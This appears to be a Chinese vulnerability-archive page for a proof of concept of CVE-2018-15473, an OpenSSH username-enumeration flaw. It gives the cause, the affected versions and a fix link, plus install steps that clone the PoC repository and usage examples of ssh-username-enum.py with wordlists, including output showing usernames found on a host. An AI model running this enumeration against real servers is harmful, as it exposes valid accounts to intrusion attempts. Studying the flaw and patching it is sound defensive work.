POC详情: 8e172f23fb1b5cc95f680b72d27942ec43018190

来源
关联漏洞
标题: OpenSSH 竞争条件问题漏洞 (CVE-2018-15473)
描述:OpenSSH(OpenBSD Secure Shell)是OpenBSD计划组的一套用于安全访问远程计算机的连接工具。该工具是SSH协议的开源实现,支持对所有的传输进行加密,可有效阻止窃听、连接劫持以及其他网络级的攻击。 OpenSSH 7.7及之前版本中存在竞争条件问题漏洞。该漏洞源于网络系统或产品在运行过程中,并发代码需要互斥地访问共享资源时,对于并发访问的处理不当。
介绍
CVE-2018-15473
---

成因
---
OpenSSH服务器在对包含了请求的数据包完全解析之前,不会延迟处理一个验证无效的用户。该漏洞和auth2-gss.c,auth2-hostbased.c,auth2-pubkey.c有关。

利用
---
尽管该漏洞不能用来生成有效的用户名列表,但依旧可以拿来枚举猜测用户名。

受影响的版本
---
OpenSSH <= 7.7

不受影响的版本
---
openssh-7.8p1-1.fc28 openssh-7.6p1-6.fc27

poc安装 
---
您可能需要安装发行版的等效`openssl-dev`软件包
```bash
# 注意:如果您在kali上安装,则可以跳过pip安装,只需执行下面第一二三行的步骤,因为paramiko已经存在。 
git clone https://github.com/1stPeak/CVE-2018-15473.git
cd CVE-2018-15473
chmod u+x ssh-username-enum.py
pip install -r requirements.txt 
# 或者使用以下命令下载安装 
pipenv install -r requirements.txt  # if you're cool like that   
chmod u+x ssh-username-enum.py
```

使用举例
---

例1:单个用户枚举
```bash
peak@kali:~/CVE-2018-15473$ ./ssh-username-enum.py -u root 192.168.1.2
[+] root found!
```
例2:使用10个线程进行多个用户枚举(默认线程为4)
```bash
peak@kali:~/CVE-2018-15473$ ./ssh-username-enum.py -t 10 -w /usr/share/wordlists/metasploit/unix_users.txt 192.168.1.2
[+] man found!
[+] guest found!
[+] nobody found!
[!] SSH negotiation failed for user nobody4.
[+] lpadmin found!
等等
```
例3:IPV6地址且指定ssh端口号
```bash
peak@kali:~/CVE-2018-15473$ ./ssh-username-enum.py -t 10 -w /usr/share/wordlists/metasploit/unix_users.txt 192.168.1.2 '::1'
[+] ROOT found!
[+] syslog found!
[+] sslh found!
[!] SSH negotiation failed for user sssd.
[+] rfindd found!
[+] ultra found!
等等
```

解决方案
---
建议用户升级到不受影响版本。且OpenBSD项目已在以下链接发布了源代码修复:https://github.com/openbsd/src/commit/779974d35b4859c07bc3cb8a12c74b43b0a7d1e0

参考
---
https://github.com/epi052/cve-2018-15473  
http://blog.nsfocus.net/openssh-cve-2018-15919/
文件快照

[4.0K] /data/pocs/8e172f23fb1b5cc95f680b72d27942ec43018190 ├── [1.1K] LICENSE ├── [2.0K] README.md ├── [ 148] requirements.txt └── [7.5K] ssh-username-enum.py 0 directories, 4 files
神龙机器人已为您缓存
备注
    1. 建议优先通过来源进行访问。
    2. 如果因为来源失效或无法访问,请发送邮箱到 f.jinxu#gmail.com 索取本地快照(把 # 换成 @)。
    3. 神龙已为您对POC代码进行快照,为了长期维护,请考虑为本地POC付费,感谢您的支持。